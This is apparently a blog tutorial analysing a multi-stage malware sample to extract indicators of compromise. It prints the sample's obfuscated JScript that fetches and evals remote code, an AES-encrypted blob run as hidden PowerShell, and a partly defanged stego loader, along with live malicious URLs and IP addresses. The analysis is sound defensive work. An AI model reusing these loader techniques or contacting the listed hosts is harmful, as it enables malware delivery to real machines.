Malware Analysis I - Detecting Indicators of Compromise and malicious Infrastructure
Today we will see how we can identify malware urls / indicators of compromise from malware and the malware sample we will use is:
https://bazaar.abuse.ch/sample/41f76926477c7f8759900567ced4e5e1f9057e40d2a151badc873d23f372997e/
Stage 1 - comprobante_swift89534657687.js
Directly after downloading the stage 1 payload from malware bazaar you can open it inside your malware analysis VM (flareVM), if you have not prepared one yet, have a look at this video:
You can open the malware archive (.zip) with 7zip and use the password infected
to extract the stage1 malware.
When you open the .js file with a text editor or vscode (make sure to set the restrictions to “I dont trust the authors of this folder/file” when it asks you) you will see this:
function preexistente(eudiometria) {
return String.fromCharCode(eudiometria);
}
var pesadume = "<https://past>" + preexistente(101) + "." + preexistente(101) + "" + preexistente(101) + "/d/ARhCV";
var guabirabeira = tripes(pesadume);
horographia(guabirabeira);
function esfolhar(celadolo) {
var esfuziada = new ActiveXObject("WScript.Shell");
esfuziada.Run("perispiritual", celadolo);
var usufruto = esfuziada.Popup("araribina:", 0, "Prompt", 0);
return usufruto;
}
function horographia(praina) {
eval(praina);
}
function tripes(pesadume) {
var cantata = new ActiveXObject("MSXML2.XMLHTTP");
cantata.open("GET", pesadume, false);
cantata.send();
return cantata.responseText;
}
Short and sweet but dangerous nonetheless. At the top you can see a function definition (preexistente) that takes one parameter called eudiometria
which then is translated into a string from a CharCode
→ that is a numerical representation of letters/numbers etc. typically used in javascript / your browser
AHA!
Ok and next what looks like a url is combined from https://past
+ three function calls with the number 101 + /d/ARhCV
Great but what is String.fromCharCode(101)
?
Open your browser and find out → go to any page and either right click on the page and use inspect
and then on console
at the bottom
or directly click on the developer → javascript console
option
This will open the javascript developer console and if you paste/type String.fromCharCode(101)
into it
→ watch magic 🪄 happen (if your browser tells you that you cannot paste code immediately, just follow the guide and type allow pasting
first then press enter and continue to paste the snippet
101
apparently is the letter e
so when we combine all those elements together we have a new url to download our 2nd stage payload from:
2nd stage from https[:]//paste.ee/d/ARhCV
Stage 2 - https[:]//paste.ee/d/ARhCV
When you have possibly malicious urls the last thing you want to do is to open those on your normal computer - instead you can use someone else’s computer to do that for you 😇
my favorite is https://browserling.com which lets you copy and paste and open urls that you are not sure of → plug the url into the form and click Test now!
You should be greeted with the following beautiful screen:
if not → this is the script that was available there:
function omphalorrhagia(melam) {
var sephelo = new ActiveXObject("MSXML2.DOMDocument");
var magnificar = sephelo.createElement("b64");
magnificar.dataType = "bin.base64";
magnificar.text = melam;
var anete = new ActiveXObject("ADODB.Stream");
anete.Type = 1; // adTypeBinary
anete.Open();
anete.Write(magnificar.nodeTypedValue);
anete.Position = 0;
var forrageal = anete.Read();
anete.Close();
return forrageal;
}
function patornear(perculso, key) {
var pacientemente = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");
pacientemente.Mode = 1; // CipherMode.CBC
pacientemente.Padding = 3; // PaddingMode.Zeros
pacientemente.BlockSize = 128;
pacientemente.KeySize = 256;
var metrofotografia = new ActiveXObject("System.Text.UTF8Encoding");
var zunga = new ActiveXObject("System.Security.Cryptography.SHA256Managed");
var desenfrechar = zunga.ComputeHash_2(metrofotografia.GetBytes_4(key));
pacientemente.Key = desenfrechar;
var bracaraugustano = omphalorrhagia(perculso);
var anete = new ActiveXObject("ADODB.Stream");
anete.Type = 1; // adTypeBinary
anete.Open();
anete.Write(bracaraugustano);
anete.Position = 0;
var saltadouro = new ActiveXObject("ADODB.Stream");
saltadouro.Type = 1; // adTypeBinary
saltadouro.Open();
// read first 16 bytes and make that the initialization vector (IV) for the decryption
saltadouro.Write(anete.Read(16));
saltadouro.Position = 0;
pacientemente.IV = saltadouro.Read();
anete.Position = 16; // Move to after the IV -> skip the IV and only decrypt the data after !
var encordoadura = anete.Read();
var trautar = pacientemente.CreateDecryptor();
var viga = new ActiveXObject("ADODB.Stream");
viga.Type = 1; // adTypeBinary
viga.Open();
viga.Write(encordoadura);
viga.Position = 0;
// decrypt
var roleiro = trautar.TransformFinalBlock((viga.Read()), 0, viga.Size);
var forrageal = metrofotografia.GetString((roleiro));
anete.Close();
saltadouro.Close();
viga.Close();
// return decrypted powershell script
return forrageal;
}
var perculso = "U6QYC302+gYnmiIMvSYl13luCzfghsk1EkWwMHcen71WAx/vxj2b4kzthulb/qIZXPyDDrOxbK47oModVkUVOH21YwWC+x8RiXfTfQ2bE7IhkHyxCre0Q6MZ3FzjjbECenlR1SjzO6ly81brt+kwPIung8Tbtxkrz9OYBRofhtsfRxZKticveCKUAbys+okxzO4eNBEOQkmi6Kj/cr9aLGxbMUaCuPN2VQqUDps3xie2fPGMqz9lkqupoLsym58il3tKxJe/EZqnoMzLUeeEp8n+MTjmHa1Hwtrau91+s1XLZiDXKstLwccfr6nvKuo50f6FXQqgpJTOHwbEsklnfzmqAVYK+GqAQxtvDfK9LceiFVGMKZYzL84LWy02htydZNMSWZkdjETKc5EXg/KdPsDN0yT+vWdzp3Hiz4UtGzopY3G8G2iXjVazuZArPBwXEius9bG1xVkmJbCPHmcIa/KI1+Une/F+yXvWwoheJBDiGMxnvFQ4CYpBs0qpOSB+95s57xb0xFkuEGMcYPytyyyJsDZ5adf1d7sTvn0+ZjpGxMz5VAG54502ORVT+NprlvaXQXyl2rSAa9aoe8o9L+rBf/1KZeFEn854uNZxdguBYzLBG+4dA9/zsYH/3c9wyY88rXkSgMy8HdyobbFN6K6n2ZQaT7BTUVx2cEMrYhEzeHVwudcIKzj3U/V1CcBz66WiYkuuSBnjje8a+XxGhrjnuIm08CtHTDAumP8XT+VRUlqVSlMUuyGbPILcxwt2mj4zKLlPX5ciL4ebA/poNwNYN2webG/ctHxkGGzm+JJByu/Na23dzI8ZlxaomV+s4lzrOuEeBENyiT6tZkEr0nfNS2sXx5spPEqC3hVVkKASkSE0jeWNLms0wWvoMGxBPJUhPLwcgZPROgbQv6kgE20+Pdgt7ezY3pgadfRV/jg4JtTeezA1w2WCvU0cL2RDyTYDhmiIU7sDNEFapSEU16NBDe4zi7+3Ypz6y8Nzzo2sI2l5uhrVdT2g2UzYoDM8c30/dgwZqLJzWHZXax/uDnlmvcBbxvZ1YFSg4m6/I+RUzF46L0EQs+bkVQJmcolKX8tH5AP+jFzarKgA8OhPZexsdnXe0xSBRyuIJwrtNzIBRYzgSF1MqRU7i+IMD2GYc5JvWDNLJ3H/tEpknDIV9XLhq5bKQm35eOHTnFcrAceZWoTFrpToUxiQa94/cOIgb8Yialab0HyoQ6S9wPTVbo42hLnfutxrajHsAIiciipEbDAsGgDwzHv/48pFjv8G1dqrlO0Adp90KtLuN3W44neUZur8pmAmJWsPEogHgu8b1ulKQqEoWMZxkIcwsIFQa+T5+MabIocphFn5rExhwjQm9kTDvPK1xMzubNPijXdVWYBp+Hkf+ViLP8XO3+3DTFwK4o9AvkyFQz6haiR/jRgqDTaBNc+6ny8nrhJhK6RG7UvUn6MCSQy/2mMtR4CVuFg+i7sJbVnokoWpeDhijEOQREVC4FfRmJ/BlKe1FO0xJBAYaVSKc1kASDRfd4EwZx4ld4Z4/7oFsAdeozcFrP1o+FlpUwOx9jNqxdFLk+wc+mELjwO84JbTeNQ/tAnxpBZnepD0irx/ZZLK7EirERyZb7w2N2AONiKvemcUaews9Yi35xSeGdR7458ZgrQ27RxKBJt8dE9bliGsAswEZpPhBsToyC+DTTemG2KgHfC4663PpKwZ5L79Dw2NIGf4";
var lacertinos = "12345678901234567890123456789012";
var durguete = patornear(perculso, lacertinos);
var sorte = new ActiveXObject("WScript.Shell");
sorte.Run("powershell -Command \\"" + durguete + "\\"", 0, false);
This script does a lot of things but we can walk through it from top to bottom and use my MAGIC MALWARE ANALYSIS EXPLAINER FRIEND - ChatGPT to help us.
We start with the first function
function omphalorrhagia(melam) {
var sephelo = new ActiveXObject("MSXML2.DOMDocument");
var magnificar = sephelo.createElement("b64");
magnificar.dataType = "bin.base64";
magnificar.text = melam;
var anete = new ActiveXObject("ADODB.Stream");
anete.Type = 1; // adTypeBinary
anete.Open();
anete.Write(magnificar.nodeTypedValue);
anete.Position = 0;
var forrageal = anete.Read();
anete.Close();
return forrageal;
}
This takes a single input and returns a single output → in between it tries to open a browser / DOMDocument and loads some base64 encoded string into an object and returns that object/binary data 😅✅
How would you find this out if you cannot read the code? EASY - just ask ChatGPT:
what does this function do ```function omphalorrhagia(melam) {
var sephelo = new ActiveXObject("MSXML2.DOMDocument");
var magnificar = sephelo.createElement("b64");
magnificar.dataType = "bin.base64";
magnificar.text = melam;
var anete = new ActiveXObject("ADODB.Stream");
anete.Type = 1; // adTypeBinary
anete.Open();
anete.Write(magnificar.nodeTypedValue);
anete.Position = 0;
var forrageal = anete.Read();
anete.Close();
return forrageal;
}
![](https://cdn.hashnode.com/res/hashnode/image/upload/v1709582176287/9e9548a1-e9e2-4944-b345-60d2746b462a.png align="center")
and our best friend tells us:
![](https://cdn.hashnode.com/res/hashnode/image/upload/v1709582193026/09b3210c-63bd-4bb3-82ab-c3a50e312189.png align="center")
AHA! great, that helps → but what happens next?
The 2nd function `patornear` takes two arguments, `perculso` and `key` and does some cryptography in the beginning (`RijndaelManaged`, often called AES), then sets some values and uses the previous function `var bracaraugustano = omphalorrhagia(perculso);` with the first input
AHA! so perculso is base64 encoded code, and we use it in this 2nd function for something!
What we do next is to open the file and read the `first 16 bytes` into a variable called `pacientemente.IV` - for those of you who don’t know, IV is the initialization vector often used in decryption operations together with a key.
key? EN CE MOMENT! I remember that there was a key in this function as well, so we have the IV and the Key now?
...but where is the text to be decoded?!
We also take that from the base64 encoded string → the first 16 bytes (the IV) are skipped and we read the rest into a variable and then decrypt it with the key and the IV. 🤯
The last step is to return the decrypted code in plain-text.
```javascript
function patornear(perculso, key) {
var pacientemente = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");
pacientemente.Mode = 1; // CipherMode.CBC
pacientemente.Padding = 3; // PaddingMode.Zeros
pacientemente.BlockSize = 128;
pacientemente.KeySize = 256;
var metrofotografia = new ActiveXObject("System.Text.UTF8Encoding");
var zunga = new ActiveXObject("System.Security.Cryptography.SHA256Managed");
var desenfrechar = zunga.ComputeHash_2(metrofotografia.GetBytes_4(key));
pacientemente.Key = desenfrechar;
var bracaraugustano = omphalorrhagia(perculso);
var anete = new ActiveXObject("ADODB.Stream");
anete.Type = 1; // adTypeBinary
anete.Open();
anete.Write(bracaraugustano);
anete.Position = 0;
var saltadouro = new ActiveXObject("ADODB.Stream");
saltadouro.Type = 1; // adTypeBinary
saltadouro.Open();
// read first 16 bytes and make that the initialization vector (IV) for the decryption
saltadouro.Write(anete.Read(16));
saltadouro.Position = 0;
pacientemente.IV = saltadouro.Read();
anete.Position = 16; // Move to after the IV -> skip the IV and only decrypt the data after !
var encordoadura = anete.Read();
var trautar = pacientemente.CreateDecryptor();
var viga = new ActiveXObject("ADODB.Stream");
viga.Type = 1; // adTypeBinary
viga.Open();
viga.Write(encordoadura);
viga.Position = 0;
// decrypt the "base64 string" using the key and the IV
var roleiro = trautar.TransformFinalBlock((viga.Read()), 0, viga.Size);
var forrageal = metrofotografia.GetString((roleiro));
anete.Close();
saltadouro.Close();
viga.Close();
// return decrypted powershell script
return forrageal;
}
WAOOOOWWW MAGIC ! 🦄
Again if you don’t understand this part, ask your friend ChatGPT for an explanation
On to the last steps - this is the base64 encoded something (perculso
) and the key (lacertinos
) which are then fed into the 2nd function and the result from that function call (plaintext) is used to run a powershell command that the plaintext holds ✨🦹
var perculso = "U6QYC302+gYnmiIMvSYl13luCzfghsk1EkWwMHcen71WAx/vxj2b4kzthulb/qIZXPyDDrOxbK47oModVkUVOH21YwWC+x8RiXfTfQ2bE7IhkHyxCre0Q6MZ3FzjjbECenlR1SjzO6ly81brt+kwPIung8Tbtxkrz9OYBRofhtsfRxZKticveCKUAbys+okxzO4eNBEOQkmi6Kj/cr9aLGxbMUaCuPN2VQqUDps3xie2fPGMqz9lkqupoLsym58il3tKxJe/EZqnoMzLUeeEp8n+MTjmHa1Hwtrau91+s1XLZiDXKstLwccfr6nvKuo50f6FXQqgpJTOHwbEsklnfzmqAVYK+GqAQxtvDfK9LceiFVGMKZYzL84LWy02htydZNMSWZkdjETKc5EXg/KdPsDN0yT+vWdzp3Hiz4UtGzopY3G8G2iXjVazuZArPBwXEius9bG1xVkmJbCPHmcIa/KI1+Une/F+yXvWwoheJBDiGMxnvFQ4CYpBs0qpOSB+95s57xb0xFkuEGMcYPytyyyJsDZ5adf1d7sTvn0+ZjpGxMz5VAG54502ORVT+NprlvaXQXyl2rSAa9aoe8o9L+rBf/1KZeFEn854uNZxdguBYzLBG+4dA9/zsYH/3c9wyY88rXkSgMy8HdyobbFN6K6n2ZQaT7BTUVx2cEMrYhEzeHVwudcIKzj3U/V1CcBz66WiYkuuSBnjje8a+XxGhrjnuIm08CtHTDAumP8XT+VRUlqVSlMUuyGbPILcxwt2mj4zKLlPX5ciL4ebA/poNwNYN2webG/ctHxkGGzm+JJByu/Na23dzI8ZlxaomV+s4lzrOuEeBENyiT6tZkEr0nfNS2sXx5spPEqC3hVVkKASkSE0jeWNLms0wWvoMGxBPJUhPLwcgZPROgbQv6kgE20+Pdgt7ezY3pgadfRV/jg4JtTeezA1w2WCvU0cL2RDyTYDhmiIU7sDNEFapSEU16NBDe4zi7+3Ypz6y8Nzzo2sI2l5uhrVdT2g2UzYoDM8c30/dgwZqLJzWHZXax/uDnlmvcBbxvZ1YFSg4m6/I+RUzF46L0EQs+bkVQJmcolKX8tH5AP+jFzarKgA8OhPZexsdnXe0xSBRyuIJwrtNzIBRYzgSF1MqRU7i+IMD2GYc5JvWDNLJ3H/tEpknDIV9XLhq5bKQm35eOHTnFcrAceZWoTFrpToUxiQa94/cOIgb8Yialab0HyoQ6S9wPTVbo42hLnfutxrajHsAIiciipEbDAsGgDwzHv/48pFjv8G1dqrlO0Adp90KtLuN3W44neUZur8pmAmJWsPEogHgu8b1ulKQqEoWMZxkIcwsIFQa+T5+MabIocphFn5rExhwjQm9kTDvPK1xMzubNPijXdVWYBp+Hkf+ViLP8XO3+3DTFwK4o9AvkyFQz6haiR/jRgqDTaBNc+6ny8nrhJhK6RG7UvUn6MCSQy/2mMtR4CVuFg+i7sJbVnokoWpeDhijEOQREVC4FfRmJ/BlKe1FO0xJBAYaVSKc1kASDRfd4EwZx4ld4Z4/7oFsAdeozcFrP1o+FlpUwOx9jNqxdFLk+wc+mELjwO84JbTeNQ/tAnxpBZnepD0irx/ZZLK7EirERyZb7w2N2AONiKvemcUaews9Yi35xSeGdR7458ZgrQ27RxKBJt8dE9bliGsAswEZpPhBsToyC+DTTemG2KgHfC4663PpKwZ5L79Dw2NIGf4";
var lacertinos = "12345678901234567890123456789012";
var durguete = patornear(perculso, lacertinos);
var sorte = new ActiveXObject("WScript.Shell");
sorte.Run("powershell -Command \\"" + durguete + "\\"", 0, false);
Wonderful, now there is only a slight issue… this script needs internet explorer APIs to work and well… that is not something we have or want 😀
How can we now isolate the command in plaintext?!
Two options -
use cyberchef and fiddle with the parameters until you find the correct decryption setup
use ChatGPT to change this beautiful mess into PowerShell and copy paste to victory ✌️🥇
Why powershell you ask?! because we use part of the .net API and that is easiest to use in combination with powershell / C# (and I hate C#…) 😅
So you go and isolate the important function and make it easier for chatgpt to understand by removing the parameters and plugging them directly into the function and asking it to make this beautiful powershell PLEASE
intput:
function decrypt_base64_enc_blob() {
var key = "12345678901234567890123456789012";
var base64_string = "U6QYC302+gYnmiIMvSYl13luCzfghsk1EkWwMHcen71WAx/vxj2b4kzthulb/qIZXPyDDrOxbK47oModVkUVOH21YwWC+x8RiXfTfQ2bE7IhkHyxCre0Q6MZ3FzjjbECenlR1SjzO6ly81brt+kwPIung8Tbtxkrz9OYBRofhtsfRxZKticveCKUAbys+okxzO4eNBEOQkmi6Kj/cr9aLGxbMUaCuPN2VQqUDps3xie2fPGMqz9lkqupoLsym58il3tKxJe/EZqnoMzLUeeEp8n+MTjmHa1Hwtrau91+s1XLZiDXKstLwccfr6nvKuo50f6FXQqgpJTOHwbEsklnfzmqAVYK+GqAQxtvDfK9LceiFVGMKZYzL84LWy02htydZNMSWZkdjETKc5EXg/KdPsDN0yT+vWdzp3Hiz4UtGzopY3G8G2iXjVazuZArPBwXEius9bG1xVkmJbCPHmcIa/KI1+Une/F+yXvWwoheJBDiGMxnvFQ4CYpBs0qpOSB+95s57xb0xFkuEGMcYPytyyyJsDZ5adf1d7sTvn0+ZjpGxMz5VAG54502ORVT+NprlvaXQXyl2rSAa9aoe8o9L+rBf/1KZeFEn854uNZxdguBYzLBG+4dA9/zsYH/3c9wyY88rXkSgMy8HdyobbFN6K6n2ZQaT7BTUVx2cEMrYhEzeHVwudcIKzj3U/V1CcBz66WiYkuuSBnjje8a+XxGhrjnuIm08CtHTDAumP8XT+VRUlqVSlMUuyGbPILcxwt2mj4zKLlPX5ciL4ebA/poNwNYN2webG/ctHxkGGzm+JJByu/Na23dzI8ZlxaomV+s4lzrOuEeBENyiT6tZkEr0nfNS2sXx5spPEqC3hVVkKASkSE0jeWNLms0wWvoMGxBPJUhPLwcgZPROgbQv6kgE20+Pdgt7ezY3pgadfRV/jg4JtTeezA1w2WCvU0cL2RDyTYDhmiIU7sDNEFapSEU16NBDe4zi7+3Ypz6y8Nzzo2sI2l5uhrVdT2g2UzYoDM8c30/dgwZqLJzWHZXax/uDnlmvcBbxvZ1YFSg4m6/I+RUzF46L0EQs+bkVQJmcolKX8tH5AP+jFzarKgA8OhPZexsdnXe0xSBRyuIJwrtNzIBRYzgSF1MqRU7i+IMD2GYc5JvWDNLJ3H/tEpknDIV9XLhq5bKQm35eOHTnFcrAceZWoTFrpToUxiQa94/cOIgb8Yialab0HyoQ6S9wPTVbo42hLnfutxrajHsAIiciipEbDAsGgDwzHv/48pFjv8G1dqrlO0Adp90KtLuN3W44neUZur8pmAmJWsPEogHgu8b1ulKQqEoWMZxkIcwsIFQa+T5+MabIocphFn5rExhwjQm9kTDvPK1xMzubNPijXdVWYBp+Hkf+ViLP8XO3+3DTFwK4o9AvkyFQz6haiR/jRgqDTaBNc+6ny8nrhJhK6RG7UvUn6MCSQy/2mMtR4CVuFg+i7sJbVnokoWpeDhijEOQREVC4FfRmJ/BlKe1FO0xJBAYaVSKc1kASDRfd4EwZx4ld4Z4/7oFsAdeozcFrP1o+FlpUwOx9jNqxdFLk+wc+mELjwO84JbTeNQ/tAnxpBZnepD0irx/ZZLK7EirERyZb7w2N2AONiKvemcUaews9Yi35xSeGdR7458ZgrQ27RxKBJt8dE9bliGsAswEZpPhBsToyC+DTTemG2KgHfC4663PpKwZ5L79Dw2NIGf4";
var pacientemente = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");
pacientemente.Mode = 1; // CipherMode.CBC
pacientemente.Padding = 3; // PaddingMode.Zeros
pacientemente.BlockSize = 128;
pacientemente.KeySize = 256;
var metrofotografia = new ActiveXObject("System.Text.UTF8Encoding");
var zunga = new ActiveXObject("System.Security.Cryptography.SHA256Managed");
var desenfrechar = zunga.ComputeHash_2(metrofotografia.GetBytes_4(key));
pacientemente.Key = desenfrechar;
var bracaraugustano = omphalorrhagia(base64_string);
var anete = new ActiveXObject("ADODB.Stream");
anete.Type = 1; // adTypeBinary
anete.Open();
anete.Write(bracaraugustano);
anete.Position = 0;
var saltadouro = new ActiveXObject("ADODB.Stream");
saltadouro.Type = 1; // adTypeBinary
saltadouro.Open();
saltadouro.Write(anete.Read(16));
saltadouro.Position = 0;
pacientemente.IV = saltadouro.Read();
anete.Position = 16; // Move to after the IV
var encordoadura = anete.Read();
var trautar = pacientemente.CreateDecryptor();
var viga = new ActiveXObject("ADODB.Stream");
viga.Type = 1; // adTypeBinary
viga.Open();
viga.Write(encordoadura);
viga.Position = 0;
var roleiro = trautar.TransformFinalBlock((viga.Read()), 0, viga.Size);
var powershell_command = metrofotografia.GetString((roleiro));
anete.Close();
saltadouro.Close();
viga.Close();
return powershell_command;
}
because the script requires activex and dotnet api’s to be available we try to convert it to powershell so that we can easily execute it (make sure to copy and paste the key + base64_string from the original script afterwards, because chatgpt likes to hallucinate long strings and not take the original one’s - dont ask me how I found out 😅)
You can use the following prompt:
what would this function look like in powershell ``` <PASTE_FUNCTION_HERE>
![](https://cdn.hashnode.com/res/hashnode/image/upload/v1709582269909/60cad2f6-1439-4931-ad9c-8546380e2781.png align="center")
You should get back something like the following script:
```powershell
function Decrypt-Base64EncryptedBlob {
param (
[string]$base64String
)
# Define the key
$key = "12345678901234567890123456789012"
# Create RijndaelManaged object
$rijndael = New-Object System.Security.Cryptography.RijndaelManaged
$rijndael.Mode = [System.Security.Cryptography.CipherMode]::CBC
$rijndael.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$rijndael.BlockSize = 128
$rijndael.KeySize = 256
# Create SHA256Managed object and compute hash
$sha256 = New-Object System.Security.Cryptography.SHA256Managed
$keyBytes = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($key))
$rijndael.Key = $keyBytes
# Decode the base64 string
$decodedBytes = [System.Convert]::FromBase64String($base64String)
# Extract IV from the beginning of the decoded bytes
$iv = $decodedBytes[0..15]
$rijndael.IV = $iv
# Decrypt the data
$decryptor = $rijndael.CreateDecryptor()
$decryptedBytes = $decryptor.TransformFinalBlock($decodedBytes, 16, $decodedBytes.Length - 16)
# Convert decrypted bytes to string
$decryptedString = [System.Text.Encoding]::UTF8.GetString($decryptedBytes)
return $decryptedString
}
$encryptedBase64String = "U6QYC302+gYnmiIMvSYl13luCzfghsk1EkWwMHcen71WAx/vxj2b4kzthulb/qIZXPyDDrOxbK47oModVkUVOH21YwWC+x8RiXfTfQ2bE7IhkHyxCre0Q6MZ3FzjjbECenlR1SjzO6ly81brt+kwPIung8Tbtxkrz9OYBRofhtsfRxZKticveCKUAbys+okxzO4eNBEOQkmi6Kj/cr9aLGxbMUaCuPN2VQqUDps3xie2fPGMqz9lkqupoLsym58il3tKxJe/EZqnoMzLUeeEp8n+MTjmHa1Hwtrau91+s1XLZiDXKstLwccfr6nvKuo50f6FXQqgpJTOHwbEsklnfzmqAVYK+GqAQxtvDfK9LceiFVGMKZYzL84LWy02htydZNMSWZkdjETKc5EXg/KdPsDN0yT+vWdzp3Hiz4UtGzopY3G8G2iXjVazuZArPBwXEius9bG1xVkmJbCPHmcIa/KI1+Une/F+yXvWwoheJBDiGMxnvFQ4CYpBs0qpOSB+95s57xb0xFkuEGMcYPytyyyJsDZ5adf1d7sTvn0+ZjpGxMz5VAG54502ORVT+NprlvaXQXyl2rSAa9aoe8o9L+rBf/1KZeFEn854uNZxdguBYzLBG+4dA9/zsYH/3c9wyY88rXkSgMy8HdyobbFN6K6n2ZQaT7BTUVx2cEMrYhEzeHVwudcIKzj3U/V1CcBz66WiYkuuSBnjje8a+XxGhrjnuIm08CtHTDAumP8XT+VRUlqVSlMUuyGbPILcxwt2mj4zKLlPX5ciL4ebA/poNwNYN2webG/ctHxkGGzm+JJByu/Na23dzI8ZlxaomV+s4lzrOuEeBENyiT6tZkEr0nfNS2sXx5spPEqC3hVVkKASkSE0jeWNLms0wWvoMGxBPJUhPLwcgZPROgbQv6kgE20+Pdgt7ezY3pgadfRV/jg4JtTeezA1w2WCvU0cL2RDyTYDhmiIU7sDNEFapSEU16NBDe4zi7+3Ypz6y8Nzzo2sI2l5uhrVdT2g2UzYoDM8c30/dgwZqLJzWHZXax/uDnlmvcBbxvZ1YFSg4m6/I+RUzF46L0EQs+bkVQJmcolKX8tH5AP+jFzarKgA8OhPZexsdnXe0xSBRyuIJwrtNzIBRYzgSF1MqRU7i+IMD2GYc5JvWDNLJ3H/tEpknDIV9XLhq5bKQm35eOHTnFcrAceZWoTFrpToUxiQa94/cOIgb8Yialab0HyoQ6S9wPTVbo42hLnfutxrajHsAIiciipEbDAsGgDwzHv/48pFjv8G1dqrlO0Adp90KtLuN3W44neUZur8pmAmJWsPEogHgu8b1ulKQqEoWMZxkIcwsIFQa+T5+MabIocphFn5rExhwjQm9kTDvPK1xMzubNPijXdVWYBp+Hkf+ViLP8XO3+3DTFwK4o9AvkyFQz6haiR/jRgqDTaBNc+6ny8nrhJhK6RG7UvUn6MCSQy/2mMtR4CVuFg+i7sJbVnokoWpeDhijEOQREVC4FfRmJ/BlKe1FO0xJBAYaVSKc1kASDRfd4EwZx4ld4Z4/7oFsAdeozcFrP1o+FlpUwOx9jNqxdFLk+wc+mELjwO84JbTeNQ/tAnxpBZnepD0irx/ZZLK7EirERyZb7w2N2AONiKvemcUaews9Yi35xSeGdR7458ZgrQ27RxKBJt8dE9bliGsAswEZpPhBsToyC+DTTemG2KgHfC4663PpKwZ5L79Dw2NIGf4";
Decrypt-Base64EncryptedBlob -base64String $encryptedBase64String
paste that into a new Powershell script (it’s convenient to use powershell ISE) and press the green play button in the navigation bar ⬇️
The output will be shown in the blue window below ⬆️
If you prettify this script into a more human readable format you will get this 3rd stage payload (I took the liberty to defang it by commenting the last three lines):
function DownloadDataFromLinks { param ([string[]]$links)
$webClient = New-Object System.Net.WebClient;
$shuffledLinks = Get-Random -InputObject $links -Count $links.Length;
foreach ($link in $shuffledLinks) {
try {
return $webClient.DownloadData($link)
} catch { continue }
};
return $null
};
$links = @('<https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482>', '<http://45.74.19.84/xampp/bkp/js_bkp.jpg>');
$imageBytes = DownloadDataFromLinks $links;
if ($imageBytes -ne $null) {
$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);
$startFlag = '<<BASE64_START>>';
$endFlag = '<<BASE64_END>>';
$startIndex = $imageText.IndexOf($startFlag);
$endIndex = $imageText.IndexOf($endFlag);
if ($startIndex -ge 0 -and $endIndex -gt $startIndex) {
$startIndex += $startFlag.Length;
$base64Length = $endIndex - $startIndex;
$base64Command = $imageText.Substring($startIndex, $base64Length);
$commandBytes = [System.Convert]::FromBase64String($base64Command);
$commandBytes;
# defang the script by commenting the dangerous lines
#$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);
#$type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home');
#$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.diord46esab/19.412.542.271//:ptth' , 'desativado' , 'C:\\ProgramData\\' , 'Name'))
}
}
What does that do though?! 🤔💭
from top to bottom
→ it defines a function that download an image from one random url out of all the urls that have been provided (sometimes called loader)
→ it then defines 2 download links https[:]//uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482
http[:]//45.74.19.84/xampp/bkp/js_bkp.jpg
→ the script only continues if the download was successful and then looks for <<BASE64_START>>
and <<BASE64_END>>
in the source code of the downloaded images → STEGO or Steganography
, that means hiding malware / code in images
Ok so we need internet access to check the images → go to browserling and see if one of the urls is still up → we get lucky, the first one works 🎉
Ok now swap into a linux throw-away VM and use wget
to download the image from the server
wget https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482 -O image.jpg
and then we check if we can see BASE64_START
in the image source with grep
grep -aHr "BASE64_START" image.jpg
This was a terrible mistake 😅 and our terminal get’s overflown with text 😵💫😬
BUT at least we know that the code is in the image → so now we want to extract it
we can either transfer the image.jpg
with a temporary python webserver / sftp or another method of your choice
→ this file needs to get into your flareVM Windows machine
You can also download it from here:
Then you modify the stage3 PowerShell script to only isolate the base64 code:
# read image as bytes from the location it is in -> adjust this to your setup
$imageBytes = [System.IO.File]::ReadAllBytes("C:\\Users\\Administrator\\Downloads\\image.jpg");
if ($imageBytes -ne $null) {
$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);
$startFlag = '<<BASE64_START>>';
$endFlag = '<<BASE64_END>>';
$startIndex = $imageText.IndexOf($startFlag);
$endIndex = $imageText.IndexOf($endFlag);
if ($startIndex -ge 0 -and $endIndex -gt $startIndex) {
$startIndex += $startFlag.Length;
$base64Length = $endIndex - $startIndex;
$base64Command = $imageText.Substring($startIndex, $base64Length);
# write the base64 command to a file called base64stage3.txt in the downloads folder
$base64Command | out-file -filepath C:\\Users\\Administrator\\downloads\\base64stage3.txt;
}
}
Then proceed to download the base64stage3.txt and plug it into cyberchef
https://gchq.github.io/CyberChef
in the top right, click Open file as input
⬇️
Then select the correct file:
and setup the following recipe:
decode text → UTF-16LE
→ from base64
You can see on the right side that there is a specific
readable line that should scare you 😬
This program cannot be run in DOS mode.
That means this is a binary, a PE file to be exact (portable executable).
What do we do with it? 🤔
First, download the file from cyberchef ⬇️
Throw it back into flareVM and see if you can decipher some of it’s content
As we know that this is a PE file we want to use the PE tools available with flarevm to have a look inside, e.g. use CFF Explorer
from the Tools
→ PE
directory and load the exe file ⬇️
Here you can see some interesting information on the right side → 1. thisi s a portable executable for 32 bit architecture (x86) AND this is a .NET assembly
The last part should get you excited because that means we can easily decompile it with 2 clicks 🥳
At the bottom you can also see a visual basic file that might be interesting in the future Projetoautomacao.vb
which btw. appears to be Portuguese / Brazilian
Wonderful, if you want to decompile the binary and look at the source code either dnSpy.exe
or ILSpy.exe
are your favorite friends (its the same tool basically)
Open it → click on File → Open → select the correct malware.exe file and wait a couple of seconds for the decompilation to finish
Once that is done you should see a new entry in the Assemblies
list on the left, called download
We wont go into more details today but feel free to look around 🙂
Back to our stage3 payload → We have one more interesting url that we have not looked at yet:
txt.diord46esab/19.412.542.271//:ptth
This might look a little interesting but lucky for us you are a great backwards-reader 🧑🏫
For those of you who are not → http[:]//172.245.214.91/base64droid.txt
When you try opening the url with browserling it unfortunately fails to load so most likely it’s dead 💀
… but still a good IoC in the filename and IP address for future shenanigans.
and this friends is how you can report your collected IoCs / urls from malware.
IoCs
comprobante_swift89534657687.js |
https[:]//paste.ee/d/ARhCV |
https[:]//uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482 |
